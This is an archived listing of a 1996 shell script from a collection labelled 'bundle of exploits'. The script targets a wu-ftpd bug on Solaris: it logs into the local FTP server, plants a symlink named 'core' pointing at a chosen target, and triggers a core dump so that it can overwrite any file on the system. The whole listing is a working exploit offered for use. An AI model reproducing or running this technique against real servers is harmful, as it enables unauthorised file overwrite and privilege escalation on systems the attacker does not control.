home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / wu-ftpd.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  1998-07-17  |  851b  |  57 lines

  1. #!/bin/sh
  2. #
  3. # exploit a bug in wu-ftpd to create a file anywhere on the filesystem
  4. #  - files that already exist will be overwritten, but they won't
  5. #    be writable.
  6. #
  7. # tested under Solaris 2.5
  8. #
  9. # James Abendschan  jwa@nbs.nau.edu  16 Oct 1996
  10. #
  11.  
  12. if [ $# != 2 ]
  13. then
  14.  echo "usage: `basename $0` sourcefile dstfile"
  15.  exit 1
  16. fi
  17.  
  18. SRC=$1
  19. TARGET=$2
  20.  
  21. USER=`whoami`
  22. /usr/ucb/echo -n "Enter your password for localhost: "
  23. read PASS
  24.  
  25. WDIR=/tmp/wu-ftpd-sploit.$USER
  26. rm -rf $WDIR
  27. mkdir $WDIR
  28.  
  29. ln -s $TARGET $WDIR/core
  30.  
  31. ftp -n localhost << _EOF_
  32. quote user $USER
  33. quote pass $PASS
  34. cd $WDIR
  35. user root woot
  36. quote pasv
  37. _EOF_
  38.  
  39. if [ ! -f $WDIR/core ]
  40. then
  41.  echo "Sorry, your ftpd didn't dump core."
  42.  exit 1
  43. fi
  44.  
  45. ls -l $WDIR/core
  46. cp $SRC $TARGET
  47. if [ $? != 0 ]
  48. then
  49.  echo "copy of $SRC to $TARGET failed."
  50.  exit 1
  51. fi
  52.  
  53. echo "Done; $SRC should now be $TARGET."
  54.  
  55. exit 0
  56.  
  57.